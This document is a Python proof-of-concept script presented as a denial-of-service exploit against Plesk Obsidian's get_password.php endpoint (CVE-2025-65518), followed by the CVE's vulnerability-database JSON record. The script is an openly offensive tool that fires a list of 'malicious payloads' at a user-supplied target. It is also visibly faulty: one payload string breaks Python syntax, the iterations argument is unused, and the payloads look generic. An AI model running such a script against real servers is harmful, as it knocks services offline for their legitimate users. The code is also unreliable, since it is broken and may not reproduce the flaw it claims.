CVE-2025-65518

import requests import sys # CVE-2025-65518 PoC - Plesk Obsidian DoS # Target: Plesk Obsidian versions 8.0.1 - 18.0.73 # Endpoint: /get_password.php def exploit_cve_2025_65518(target_url, iterations=10): """ Denial of Service exploit for CVE-2025-65518 Args: target_url: Base URL of vulnerable Plesk Obsidian instance iterations: Number of malicious requests to send """ endpoint = f"{target_url.rstrip('/')}/get_password.php" # Malicious payloads that trigger DoS condition payloads = [ "?param=%(while(true)){}", "?data=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA", "?input={"type":"recursive_payload"}", "?query=<script>while(1){{}}</script>", ] print(f"[*] Targeting: {target_url}") print(f"[*] Exploiting CVE-2025-65518...") for i, payload in enumerate(payloads, 1): url = endpoint + payload print(f"[*] Sending payload {i}/{len(payloads)}: {payload[:50]}...") try: headers = { 'User-Agent': 'Mozilla/5.0 (compatible; CVE-2025-65518-PoC)', 'Accept': '*/*' } response = requests.get(url, headers=headers, timeout=10) print(f"[+] Request sent - Status: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[!] Request failed: {e}") print("[*] DoS attack completed. Target may be unresponsive.") if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: python {sys.argv[0]} <target_url> [iterations]") print(f"Example: python {sys.argv[0]} https://plesk-server:8443 10") sys.exit(1) target = sys.argv[1] iterations = int(sys.argv[2]) if len(sys.argv) > 2 else 10 exploit_cve_2025_65518(target, iterations)

{"cve": {"id": "CVE-2025-65518", "sourceIdentifier": "[email protected]", "published": "2026-01-08T19:15:57.043", "lastModified": "2026-01-30T01:08:45.967", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Plesk Obsidian versions 8.0.1 through 18.0.73 are vulnerable to a Denial of Service (DoS) condition. The vulnerability exists in the get_password.php endpoint, where a crafted request containing a malicious payload can cause the affected web interface to continuously reload, rendering the service unavailable to legitimate users. An attacker can exploit this issue remotely without authentication, resulting in a persistent availability impact on the affected Plesk Obsidian instance."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-400"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:webpros:plesk_obsidian:*:*:*:*:*:*:*:*", "versionStartIncluding": "8.0.1", "versionEndExcluding": "18.0.73", "matchCriteriaId": "D65D2FD1-4740-4546-901D-88623A387DDD"}]}]}], "references": [{"url": "http://plesk.com", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://docs.plesk.com/release-notes/obsidian/change-log/", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/Jainil-89/CVE-2025-65518/blob/main/cve.md", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}